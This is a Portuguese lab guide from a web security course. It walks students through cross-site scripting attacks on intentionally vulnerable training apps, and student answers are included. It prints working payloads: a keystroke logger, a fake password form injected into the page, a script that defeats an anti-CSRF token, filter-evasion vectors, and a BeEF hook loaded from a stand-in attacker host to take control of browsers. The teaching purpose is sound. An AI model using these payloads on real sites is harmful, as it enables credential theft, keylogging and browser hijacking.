Sessão 5: Cross-site scripting

1. Atividade – Descoberta de vulnerabilidades e exploração

Esta atividade tem por objetivo ilustrar ao leitor quão comumente são encontrados problemas referentes a cross-site scripting, em aplicações web reais. Para iniciá-la, carregue as máquinas virtuais do aluno e do servidor (Fedora) e execute os roteiros na primeira delas.

Aplicações web reais que já foram (ou são) vulneráveis a XSS

O propósito deste exercício é pesquisar sites que tiveram (ou têm) problemas relacionados a cross-site scripting:

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse http://www.xssed.com.
3. Navegue pelo site e descubra que empresas conhecidas já foram vítimas de XSS.
4. Encerre o Firefox.

2. Atividade – Tipos de XSS

Nesta atividade, o aluno terá a oportunidade de observar, na prática, os quatro tipos de cross-site scripting existentes, facilitando o entendimento dos mecanismos de exploração utilizados em cada um deles.

XSS refletido

Nessa classe de XSS, o código é enviado na URL ou no cabeçalho HTTP, como parte da requisição, explorando um parâmetro que é exibido sem tratamento na página resultante. Normalmente, requer que o usuário seja induzido a clicar em um link especialmente construído, com conteúdo malicioso.

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse o DVWA, por meio da barra de atalhos
3. Forneça para os campos `Username` e `Password`, respectivamente, os valores `admin` e `password`, para se autenticar no sistema.
4. Em `DVWA Security` verifique se a opção esta como `low`.
5. No menu de opções, clique em `XSS reflected`.
6. Digite o seu nome no campo `What's your name`.
7. Clique em `Submit` e veja que a mensagem `Hello <nome>` é exibida.
8. Altere o parâmetro `name`, na barra de endereços, para o seu sobrenome e pressione `Enter`.
9. Repita o passo anterior, mas fornecendo o valor:

   ```
   <script>alert(document.cookie)</script>
   ```

   Observe que os cookies são exibidos.
10. Clique em `OK`.
11. No Firefox, clique no Menu e em `Open File`.
12. Acesse o diretório `/home/esruser/Arquivos do Curso/sessao-05`.
13. Abra o arquivo `refletido.html`.
14. Passe o mouse por cima do link e observe a URL na barra de estado.

15. Clique no link e veja o que acontece. Esse é um dos vetores de ataque de XSS refletido.
16. Clique em OK.

XSS armazenado

Historicamente, fóruns de discussão são propícios a apresentarem vulnerabilidades de cross-site scripting armazenado. Neste exercício, o leitor explorará o problema em uma aplicação desse tipo.

1. Acesse o WebGoat, por meio da barra de atalhos.
2. Autentique-se com as credenciais `guest/guest`.
3. Clique em `Start WebGoat`.
4. Clique no menu `Cross-Site Scripting (XSS)`.
5. Clique em `Stored XSS Attacks`. No formulário clique no link `Restart this Lesson`
6. Cadastre uma mensagem, fornecendo título e texto. Clique em `Submit`. Observe que um link para a mensagem é adicionado na seção `Message List`.
7. Cadastre um novo item, fornecendo o seguinte para o corpo da mensagem:

```
<script>alert(1)</script>
```

8. Na lista de mensagens, clique no título da última que foi cadastrada.
9. Observe que o script é executado.

XSS baseado em DOM

Cross-site scripting baseado em DOM é muito similar ao tipo refletido, mas difere deste por não necessitar que o código malicioso seja enviado ao servidor. Esse aspecto do ataque é o foco deste exercício.

1. Acesse http://xss.esr.rnp.br/.
2. Clique em `XSS baseado em DOM`.
3. Adicione a `query string` abaixo na barra de endereços e pressione `Enter`:

```
?usuario=ESR
```

   Veja o que é alterado na página.
4. Inicie o WebScarab, presente no menu `03 - Web Application Analysis`.
5. No Firefox, clique no Multiproxy SwitchOmega, na barra de estado, e selecione o WebScarab.
6. Altere a `query string`, na barra de endereços, para o texto abaixo e pressione `Enter`:

```
?usuario=ESR<script>document.write("<br>XSS")</script>
```

7. No WebScarab, clique na aba `Summary`.
8. Selecione a última requisição e dê um duplo clique nela.
9. Clique na aba `Raw` e veja que o código foi enviado ao servidor.
10. Encerre a janela de visualização de requisição.
11. Retorne ao Firefox, altere a `query string` para o texto abaixo e pressione `Enter`:

```
?usuario=ESR#<script>document.write("<br>XSS2")</script>
```

12. Acesse o WebScarab novamente.
13. Selecione a nova requisição e dê um duplo clique nela.
14. Observe que, agora, o código não foi enviado ao servidor, embora tenha sido executado no cliente.
15. Encerre a janela de visualização de requisição.
16. Encerre o WebScarab.
17. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione Direct.

XCS

Este exercício ilustra um cross channel scripting, em uma aplicação web que permite visualizar a lista de arquivos de um diretório do sistema operacional.

1. Acesse http://xss.esr.rnp.br/.
2. Clique em `Cross channel scripting`.
3. Abra uma janela de terminal.
4. Conecte-se ao servidor, por meio de SSH:

```
~$ ssh root@192.168.213.200
```

5. Forneça a senha `esruser`.
6. Mude para o diretório `/var/www/html/xss/xcs/`:

```
~$ cd /var/www/html/xss/xcs/
```

7. Liste o conteúdo do diretório e veja que é o mesmo apresentado na página web:

```
~$ ls -l
```

8. Crie um novo arquivo, com o nome `novo`:

```
~$ touch novo
```

9. Retorne ao Firefox e recarregue a página. Veja que a listagem inclui o novo arquivo.
10. No terminal, crie um arquivo com o seguinte comando:

```
~$ touch "<img src='a' onerror=alert(1)>"
```

11. Retorne ao Firefox e recarregue a página. O que acontece?

Resposta: aparece um popup com o número 1

12. Encerre o terminal.
13. Encerre o Firefox.

3. Atividade – Worms baseados em XSS

Desde o Samy Worm, diversos malwares baseados em XSS foram criados, para atacar os mais variados tipos de aplicações web, incluindo redes sociais, blogs, jogos e servidores de vídeo. O propósito desta atividade é analisar brevemente os códigos de alguns dos worms mais famosos, pertencentes a essa categoria.

GNUCITIZEN

O sítio web GNUCITIZEN contém diversas informações sobre segurança da informação, inclusive os códigos-fonte de alguns worms baseados em XSS.

1. Inicie o Firefox, presente no menu Aplicativos\Internet.
2. Acesse http://www.gnucitizen.org/blog/wormx/.
3. Veja as aplicações web que já foram afetadas por worms baseados em XSS.
4. Inspecione o código-fonte de algum dos worms listados.
5. Encerre o Firefox.

4. Atividade – Descoberta de vulnerabilidades e exploração

O propósito desta atividade é introduzir ao aluno os métodos que podem ser utilizados para a descoberta e exploração de vulnerabilidades de cross-site scripting. Todos os exercícios devem ser realizados na máquina virtual do aluno, e é altamente recomendado que se tente traçar a estratégia de exploração, antes de seguir o roteiro fornecido.

Pontos de injeção

Neste exercício, o leitor aprenderá a construir os vetores de teste corretamente, de acordo com o ponto em que ocorre a injeção de código.

Parte I – Corpo da mensagem

1. Inicie o Firefox, presente no menu ` Usual application\Internet `.
2. Acesse o DVWA, por meio da barra de atalhos.
3. Forneça para os campos `Username e Password`, respectivamente, os valores `admin e password`, para se autenticar no sistema.
4. No menu de opções, clique em `XSS reflected`.
5. Digite o seu nome no campo e clique em `Submit`.
6. Pressione Ctrl+U, para visualizar o código-fonte.
7. Procure o ponto em que seu nome foi inserido na página HTML.
8. Encerre a janela de visualização de código-fonte.
9. Digite o seguinte no campo de texto e clique em `Submit`:

```
<script>alert(1)</script>
```

Parte II – Dentro de script

1. Acesse http://xss.esr.rnp.br/.
2. Clique em Dentro de script.
3. Digite o seu nome e clique em `Definir nome`.
4. Pressione Ctrl + U, para visualizar o código-fonte.
5. Procure o ponto em que seu nome foi inserido na página HTML.
6. Encerre a janela de visualização de código-fonte.

7. Digite o `nome` abaixo e clique em `Definir nome`:

```
<script>alert(1)</script>
```

   O ataque funcionou corretamente?

   Resposta: não porém apareceu o resto de uma função javascript portanto o site é vulnerável

8. Repita o passo anterior com a entrada:

```
ESR";alert(1);var b="
```

   E agora? A caixa de mensagem foi exibida?

   Resposta: sim

9. Efetue o mesmo teste novamente com o seguinte vetor:

```
</script><script>alert(1)</script><script>
```

10. Pressione Ctrl + U para visualizar o código-fonte.
11. Veja como o balanceamento de marcadores foi realizado, no processo de injeção. Há algum erro sintático?

    Resposta: : irá ter erros no código javascript final mas o ataque funciona.

12. Encerre a janela de visualização de código-fonte.
13. Pressione Ctrl + Shift + J para visualizar os erros ocorridos e role a janela até o final. O que se pode concluir pelas últimas mensagens de erro?

    Resposta: que uma parte do script foi ignorada por ter sido encerrado.

14. Encerre a janela de erros.

Parte III – Dentro de marcador

1. Retorne a http://xss.esr.rnp.br/.
2. Clique em `Dentro de marcador`.
3. Digite o seu `nome` e clique em `Definir nome`.
4. Pressione Ctrl + U para visualizar o código-fonte.
5. Procure o ponto em que seu nome foi inserido na página HTML.
6. Encerre a janela de visualização de código-fonte.
7. Pressione Alt+[Seta para esquerda], para retornar à página anterior.
8. Digite o `nome` abaixo e clique em `Definir nome`:

```
<script>alert(1)</script>
```

O ataque funcionou corretamente?

Resposta: não

9. Pressione Alt+[Seta para esquerda] para retornar à página anterior.
10. Forneça o seguinte vetor como nome e clique em `Definir nome`:

```
ESR" onclick="alert(1)
```

11. Clique no campo de nome e veja o que acontece.

Parte IV – No título da página

1. Retorne a http://xss.esr.rnp.br/.
2. Clique em `Dentro de title`.
3. Digite o seu `nome` e clique em `Definir nome`.
4. Pressione Ctrl + U para visualizar o código-fonte.
5. Procure o ponto em que seu nome foi inserido na página HTML.
6. Encerre a janela de visualização de código-fonte.
7. Digite o `nome` abaixo e clique em `Definir nome`:

```
<script>alert(1)</script>
```

O ataque funcionou corretamente?

Resposta: não

8. Repita o passo anterior com a entrada:

```
</title><script>alert(1)</script>
```

9. Encerre o Firefox.

Roteiros de teste

Neste exercício, o aluno realizará alguns testes, para identificar vulnerabilidades de cross-site scripting, na aplicação web.

Parte I – XSS refletido

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse o Gruyere, por meio da barra de atalhos.
3. Clique em `Sign in`.
4. Forneça para os campos `User name` e `Password`, respectivamente, os valores `esruser` e `esruser`, para se autenticar no sistema.
5. Na barra de endereços, substitua tudo após a parte numérica por `/esrxpto`, ou seja, substituir o texto `login?uida=esrupser&pw=esruser` por `esrxpto`, e pressione `Enter`. O que acontece?

Resposta: requisição inválida

6. Pressione Ctrl + U, para visualizar o código HTML.
7. Procure pela mensagem de erro e identifique o ponto de injeção de XSS.
8. Encerre a janela de visualização de código HTML.
9. Repita o passo 5, utilizando o seguinte texto:

```
<script>alert(1)</script>
```

10. Clique em OK.

Parte II – XSS armazenado (1)

1. Clique no link `Upload`.
2. Clique no botão `Browse`.
3. Navegue até a pasta `/home/esruser/Arquivos do Curso/sessao-05`.
4. Selecione `texto.html` e clique em `Abrir`.
5. Clique em `Upload`.
6. Na barra de endereços, substitua `upload2` por `esruser/texto.html` e pressione `Enter`.
7. Pressione Ctrl + U para visualizar o código HTML.
8. Abra uma janela de terminal.
9. Acesse o diretório `/home/esruser/Arquivos do Curso/sessao-05`:

```
~$ cd /home/esruser/Arquivos\ do\ Curso/sessao-05
```

10. Veja o conteúdo do arquivo `texto.html` e o compare ao código HTML. São iguais?

```
~$ cat texto.html
```

Resposta: sim

11. No terminal, visualize o conteúdo do arquivo alert.html:

```
~$ cat alert.html
```

12. Feche a janela de visualização de código HTML.
13. Pressione Alt + Seta para a esquerda no Firefox, para retornar à página anterior.
14. Clique no link `Upload` novamente.
15. Clique no botão `Browse`.
16. Navegue até a pasta `/home/esruser/Arquivos do Curso/sessao-05`.
17. Selecione `alert.html` e clique em `Abrir`.
18. Clique em `Upload`.

19. Na barra de endereços, substitua `upload2` por `esruser/alert.html` e pressione `Enter`. O ataque foi efetuado com sucesso?

Resposta: sim

20. Clique em OK.
21. Encerre a janela de terminal.

Parte III – XSS armazenado (2)

1. No Firefox, pressione Alt + Seta para esquerda.
2. Clique no link `New snippet`.
3. Forneça o texto `esrxpto` e clique em `Submit`.
4. Pressione Ctrl + U para visualizar o código HTML.
5. Procure pelo texto `esrxpto`. Em que ponto o código é injetado?

Resposta:

6. Feche a janela de visualização de código HTML.
7. Clique novamente no link `New snippet`.
8. Forneça o texto `<script>alert(1)</script>` e clique em `Submit`.
9. Pressione Ctrl + U para visualizar o código HTML.
10. Procure pelo texto inserido. Houve algum tipo de filtragem?

Resposta: sim

11. Feche a janela de visualização de código HTML.
12. Clique novamente no link `New snippet`.
13. Forneça o texto abaixo e clique em `Submit`:

```
<img src= "a " onerror=alert(1)>
```

O que acontece?

Resposta: o ataque funcionou. Não houve filtragem

14. Pressione Ctrl + U para visualizar o código HTML.
15. Procure pelo texto inserido.
16. Feche a janela de visualização de código HTML.

Parte IV – XSS armazenado (3)

1. Clique no link Profile.
2. Em Profile Color, digite `green` e clique em `Update`. O que acontece com a cor do nome de usuário?

Resposta: ficou verde

3. Clique no link Profile novamente.
4. Em Profile Color, digite `esrxpto` e clique em `Update`.
5. Pressione Ctrl + U para visualizar o código HTML.
6. Procure pelo texto `esrxpto`. Em que ponto o código é injetado?

Resposta: esruser

7. Feche a janela de visualização de código HTML.
8. Clique no link Profile outra vez.
9. Em Profile Color, digite o texto abaixo e clique em Update:

```
green' onclick='alert(1)
```

10. Clique no `esruser` escrito em verde. O que acontece?

Resposta: o ataque será executado

11. Pressione Ctrl + U para visualizar o código HTML.
12. Procure pelo texto inserido.
13. Feche a janela de visualização de código HTML.
14. Encerre o Firefox.

Adulteração de página

Ataques de cross-site scripting permitem, dentre outras coisas, que páginas da aplicação afetada sejam adulteradas. Nessa atividade, o aluno realizará, em um sistema vulnerável, a remoção e a inclusão dinâmica de elementos do DOM.

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse o DVWA, por meio da barra de atalhos.
3. Forneça para os campos `Username` e `Password`, respectivamente, os valores `admin` e `password` para se autenticar no sistema.
4. No menu de opções, clique em `XSS reflected`.
5. Digite no campo disponível o texto `esrxpto` e clique em `Submit`.
6. Pressione Ctrl + U para visualizar o código HTML.
7. Analise todos os formulários existentes no documento, identificando os elementos que os compõem.
8. Vamos instalar uma ferramenta para visualizar o DOM da página
   a. Abra uma nova aba no Firefox e acesse a página https://addons.mozilla.org/. Procure pelo Add-on `Inspector DOM Sidebar` e o instale no seu navegador.
9. Volte para a aba com a página do site DVWA.
10. Pressione `F12` para iniciar as ferramentas de desenvolvimento do navegador.

11. Selecione `Inspector` na aba de ferramentas de desenvolvimento e no campo `Search HTML` digite `form` e aperte a tecla `Enter`. Você irá observar que o node `form` da árvore do DOM foi selecionado.
12. No painel mais a direita clique no Link `DOM`. Cada um dos elementos filhos de `form` podem ser acessados pela coleção `childNodes[]` (que contem 7 elementos). Localize este atributo e o expanda.
13. A partir do primeiro item, numere e anote os números dos nós referentes aos elementos `P` e `INPUT`.
14. Encerre a ferramenta de desenvolvimento clicando no ícone `x` que fica na barra no canto direito.
15. No DVWA, digite o código abaixo e clique em `Submit`:

```
<script>
var d = document.forms[0];
d.removeChild(d.childNodes[1]);
</script>
```

O que acontece?

Resposta: foi removido a mensagem `What's your name?`

16. Clique novamente em `XSS reflected`.
17. Digite o seguinte, para remover o formulário, e clique em `Submit`:

```
<script>
var p = document.forms[0].parentNode;
p.removeChild(document.forms[0]);
</script>
```

18. Clique outra vez em `XSS reflected`.
19. Digite o código abaixo, para inserir um novo formulário e remover o antigo, e clique em `Submit`:

```
<script>
var p = document.forms[0].parentNode;
p.removeChild(document.forms[0]);
document.write('<br><form>Digite sua senha:<br><input type=8 "password" size=30><br><input type="submit"
value="Testar">');
</script>
```

20. Digite qualquer texto no campo exibido e veja que esse é diferente do original.
21. Pressione Ctrl + U para visualizar o código HTML.
22. Procure pelos elementos gerados dinamicamente. Foi possível encontrá-los? Por quê?

Resposta: sim porém ele se encontra dentro de um script

23. Feche a janela de visualização de código HTML.
24. Clique novamente em `XSS reflected`.
25. Repita o Passo 19, sem usar o método `document.write()`.
26. Encerre o Firefox.

Descoberta de histórico de navegação

Nesta atividade, o aluno aprenderá como é possível verificar se um determinado site foi ou não visitado pelo usuário da aplicação.

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse http://xss.esr.rnp.br/.
3. Clique em Descoberta de histórico. As páginas listadas como visitadas estão corretas (links na cor vermelha)?

Resposta: sim

4. Pressione Ctrl + N para abrir uma nova janela do Firefox.
5. Digite www.amazon.com na barra de endereços e pressione `Enter`.
6. Retorne à janela anterior do navegador.
7. Recarregue a página e veja se a lista de sítios visitados foi corretamente atualizada.
8. Pressione Ctrl + U para visualizar o código HTML.
9. Analise como é o código para determinação se um dado site foi ou não visitado.
10. Feche a janela de visualização de código HTML.
11. Encerre o Firefox

Captura de teclas digitadas no navegador web

O objetivo deste exercício é utilizar uma vulnerabilidade de cross-site scripting, para capturar todas as teclas digitadas pelo usuário, no navegador web.

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse o DVWA, por meio da barra de atalhos.
3. Forneça para os campos `Username` e `Password`, respectivamente, os valores `admin` e `password`, para se autenticar no sistema.
4. No menu de opções, clique em `XSS reflected`.
5. Digite o seguinte código, sem os comentários, no campo de texto e clique em `Submit`:

```
<script>
var t;
/* Insere um paragrafo */
document.write('<br><p id="par">Teclas capturadas: ');
/* Aponta para o texto */
t = document.getElementById('par').childNodes[0];
document.onkeypress=function(e) {
/* Adiciona a tecla capturada ao texto */
 t.nodeValue = t.nodeValue + String.fromCharCode(e.which);
}
</script>
```

6. Digite algum texto no campo e veja que ele é reproduzido na parte inserida dinamicamente.
7. Encerre o Firefox.

Quebra de token anti-CSRF

Neste exercício, o aluno poderá quebrar a proteção conferida pelo token anti-CSRF, por meio da exploração de um cross-site scripting. No capítulo anterior, vimos que outra maneira de realizar isso depende de um ataque de clickjacking, o qual requer a interação da vítima, com um sítio web malicioso.

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse o DVWA, por meio da barra de atalhos.
3. Forneça para os campos `Username` e `Password`, respectivamente, os valores `admin` e `password` para se autenticar no sistema.
4. Clique em `DVWA Security`.
5. Selecione `medium` e clique em `Submit`.
6. Clique em `CSRF`.
7. Pressione Ctrl + U para visualizar o código HTML.
8. Anote os nomes dos campos e do botão do formulário. Observe que há um token anti-CSRF, chamado de csrf_token.
9. Encerre a janela de visualização de código HTML.
10. Pressione Ctrl + N para abrir uma nova janela do Firefox.
11. Acesse http://www.evil.org/post/csrf.html na nova janela.
12. Veja que o DVWA é aberto na nova janela. Que mensagem de erro é exibida?

Resposta: CSRF token is missing

13. Encerre a nova janela do Firefox.
14. Clique em `XSS reflected`.
15. Digite o seguinte código no campo, observando o `S` em `<Script>`, e clique em `Submit`.

```
<Script>
function breakToken() {
 var f = document.getElementById("cs").contentDocument.forms[0];
 f.password_new.value = "pwd";
 f.password_conf.value = "pwd";
 f.Change.click();
}
document.write('<iframe id="cs" src="http://dvwa.esr.rnp.br/vulnerabilities/csrf/" style="opacity:0.0"
onload="breakToken()"></iframe>');
</script>
```

16. Clique em `Logout`.
17. Forneça para os campos `Username` e `Password`, respectivamente, os valores `admin` e `password` para se autenticar no sistema. O que acontece?

Resposta: não é possível logar

18. Repita o processo com as credenciais `admin/pwd`.
19. Clique em `CSRF`.
20. Altere a senha para `password` novamente.
21. Clique em `DVWA Security`.

22. Selecione `low` e clique em `Submit`.
23. Encerre o Firefox.

Evasão de filtros

Algumas aplicações implementam filtros, para evitar ataques de injeção, porém, de maneira vulnerável. Nesse contexto, essa prática tem por objetivo exemplificar algumas das técnicas que podem ser utilizadas no processo de evasão de tais controles.

Parte I – Remoção de marcadores

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse http://xss.esr.rnp.br/.
3. Clique em Remoção de marcadores.
4. Digite `esrxpto` e clique em `Definir nome`.
5. Pressione Ctrl + U para visualizar o código HTML.
6. Procure por `esrxpto`, para determinar o ponto de injeção.
7. Feche a janela de visualização de código HTML.
8. Digite o código abaixo e clique em `Definir nome`:

```
<script>alert(1)</script>
```

O ataque funcionou?

Resposta: não

9. Pressione Ctrl + U para visualizar o código HTML.
10. Procure pelo texto injetado e analise o motivo da exploração ter falhado.
11. Feche a janela de visualização de código HTML.
12. Teste os seguintes vetores e anote os que funcionam:

```
<Script>alert(1)</script>
<script >alert(1)</script>
<scr<script>ipt>alert(1)</script>
<img src="a" onerror="alert(1)">
```

Parte II – Escape de aspas

1. Retorne à página http://xss.esr.rnp.br.
2. Clique em `Escape de aspas`.
3. Digite `esrxpto` e clique em `Definir nome`.
4. Pressione Ctrl + U para visualizar o código HTML.
5. Procure por `esrxpto`, para determinar o ponto de injeção.
6. Feche a janela de visualização de código HTML.
7. Digite o código abaixo e clique em `Submit`:

```
";alert(1);//
```

O que acontece?

Resposta: não funcionou

8. Pressione Ctrl + U para visualizar o código HTML.
9. Procure pelo texto injetado e analise o motivo da exploração ter falhado.
10. Feche a janela de visualização de código HTML.
11. Digite o código abaixo, reformulado, e clique em `Submit`:

```
\";alert(1);//
```

12. Pressione Ctrl + U para visualizar o código HTML.
13. Procure pelo texto injetado e analise o motivo da exploração ter sido bem-sucedida.
14. Feche a janela de visualização de código HTML.
15. Digite o texto a seguir e clique em `Submit`:

```
</script><script>alert(1)</script>
```

O ataque funciona? O que mais acontece?

Resposta: Sim e foi mostrado um pedaço de código javascript no início da página.

16. Repita o Passo 15 com o código:

```
</script><script>alert(1)</script><script>
```

O que aconteceu de diferente em relação ao vetor anterior?

Resposta: o ataque funciona sem mostrar um pedaço do código javascript da página.

Parte III – Restrição de tamanho

1. Acesse o DVWA, por meio da barra de atalhos.
2. Forneça para os campos `Username` e `Password`, respectivamente, os valores `admin` e `password` para se autenticar no sistema.
3. No menu de opções, clique em `XSS reflected`.
4. Adicione o texto abaixo à URL contida na barra de endereços e recarregue a página:

```
?name=<script>eval(location.hash.substr(1))</script>#alert(1)
```

Qual a lógica por trás do vetor de injeção acima?

Resposta: A função eval() executa um código javascript. A função location.hash retorna uma âncora, neste caso #1 que por acaso será #alert(1)

5. Repita o passo anterior, substituindo alert(1) por:

```
alert(1);alert(2)
```

6. Encerre o Firefox.

Arcabouços de exploração

Essa prática visa explorar algumas das funcionalidades oferecidas pelo BeEF, o qual automatiza um grande conjunto de ataques baseados em cross-site scripting.

Antes de iniciar a prática na máquina do Aluno vamos iniciar o serviço BeEF na máquina virtual `SEG9-Servidor`. Para isso abra um terminar no Servidor e utilize o comando `su -` para se tornar root. A senha é `esruser`.

Após execute:

```
# /etc/init.d/beef start
```

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse o DVWA, por meio da barra de atalhos.
3. Forneça para os campos `Username` e `Password`, respectivamente, os valores `admin` e `password`, para se autenticar no sistema.
4. No menu de opções, clique em `XSS reflected`.
5. Digite o código abaixo no campo e clique em `Submit`:

```
<script language="javascript" src="http://beef.evil.org:3000/hook.js"></script>
```

6. Inicie o Chrome, presente no menu `Usual application\Internet`.
7. Acesse http://webgoat.esr.rnp.br:8080/webgoat/attack.
8. Autentique-se com as credenciais `guest/guest`.
9. Clique em `Start WebGoat`.
10. Clique em `Cross-Site Scripting (XSS)` e, em seguida, em `Stored XSS Attacks`. Não deixe de clicar no link `Restart this Lesson` antes de continuar.
11. Digite titulo no campo `Title`.
12. Digite o código abaixo no campo `Message` e clique em `Submit`:

```
<script language="javascript" src="http://beef.evil.org:3000/hook.js"></script>
```

13. Na lista de mensagens, clique em `Título`.
14. Inicie o Opera, presente no menu `Usual application\Internet`.
15. Acesse http://beef.evil.org:3000/ui/panel.
16. Autentique-se com as credenciais `beef/beef`.
17. Observe que aparecem dois navegadores escravizados.
18. Selecione a primeira linha onde teremos a informação do navegador `Firefox` ou `Safari` (o navegador pode ter sido identificado errado pelo Beef).
19. Analise as informações exibidas sobre o navegador web e o ambiente em que é executado.

20. Clique na aba `Commands` e feche a janela que aparece.
21. Expanda o grupo `Misc` e clique em `Alert Dialog`.
22. Clique em `Execute`.
23. Retorne à janela do Firefox, aguarde uns instantes ate a mensagem aparecer e clique em `OK`.
24. Retorne ao BeEF e expanda o grupo `Recon`.
25. Clique em `Collect Links` e, em seguida, no botão `Execute`.
26. Clique em `command 1` e aguarde alguns instantes. O que aparece?

Resposta: Aparece a lista de sites visitados

27. Retorne ao Beef e selecione a linha do Chrome.
28. Analise as informações exibidas sobre o navegador web e o ambiente em que é executado.
29. Clique na aba `Commands`.
30. Expanda o grupo `Browser`.
31. Clique em `Link Rewriter` e, depois, em `Execute`.
32. Retorne ao Chrome e aguarde uns instantes.
33. Passe o mouse por cima dos links. O que aconteceu?

Resposta: trocou todos os links para beefproject.com

34. Encerre todos os navegadores web.

ENTREGA DA TAREFA

Para que seja considerada entregue você deve anexar a esta atividade no AVA uma imagem mostrando que a máquina cliente esta sendo controlada com sucesso pelo binário BeeF.

Última atualização 2020-09-02 13:23:36 -0300